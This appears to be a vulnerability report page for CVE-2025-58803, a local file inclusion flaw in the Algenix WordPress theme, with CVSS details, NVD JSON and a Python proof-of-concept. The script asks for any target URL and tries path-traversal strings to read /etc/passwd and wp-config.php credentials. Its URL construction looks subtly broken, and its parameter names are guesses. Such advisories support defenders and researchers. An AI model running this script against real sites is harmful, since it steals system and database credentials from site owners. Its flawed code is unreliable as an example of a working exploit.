Security Vulnerability Report
中文
CVE-2025-58803 CVSS 8.1 HIGH

CVE-2025-58803

Published: 2025-12-18 08:15:57
Last Modified: 2026-04-27 19:16:15

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Algenix algenix allows PHP Local File Inclusion.This issue affects Algenix: from n/a through <= 1.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:algenix:*:*:*:*:*:wordpress:*:* - VULNERABLE
Algenix主题 <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58803 PoC - Algenix Theme Local File Inclusion # Target: WordPress site with Algenix theme <= 1.0 import requests import sys target = input("Enter target URL (e.g., http://target.com): ").rstrip('/') # Files to attempt to read files = [ '../../../../../../../../etc/passwd', '../../../../../../../../wp-config.php', '../../../../../../../../../../../../../var/www/html/wp-config.php' ] # Common vulnerable parameters (adjust based on target) params = ['file', 'page', 'template', 'theme', 'load', 'include'] print(f"[*] Testing CVE-2025-58803 on {target}") print(f"[*] Target: Algenix Theme <= 1.0 Local File Inclusion\n") for param in params: for file_path in files: try: url = f"{target}/wp-content/themes/algenix/{param}={file_path}" response = requests.get(url, timeout=10, verify=False) # Check if file content is leaked if 'root:' in response.text or 'wp-config.php' in response.text: if 'DB_NAME' in response.text or 'root:x:' in response.text: print(f"[!] VULNERABLE! Parameter: {param}") print(f"[!] URL: {url}") print(f"[+] File content leaked:\n") print(response.text[:500]) print("\n" + "="*50 + "\n") except requests.exceptions.RequestException as e: print(f"[-] Error testing {param}: {e}") print("[*] Scan complete. Check results above for vulnerabilities.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58803", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:57.380", "lastModified": "2026-04-27T19:16:15.110", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Algenix algenix allows PHP Local File Inclusion.This issue affects Algenix: from n/a through <= 1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:algenix:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.0", "matchCriteriaId": "F7D839A8-653C-44A8-8F1D-3A2E0901FFF4"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/algenix/vulnerability/wordpress-algenix-theme-1-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}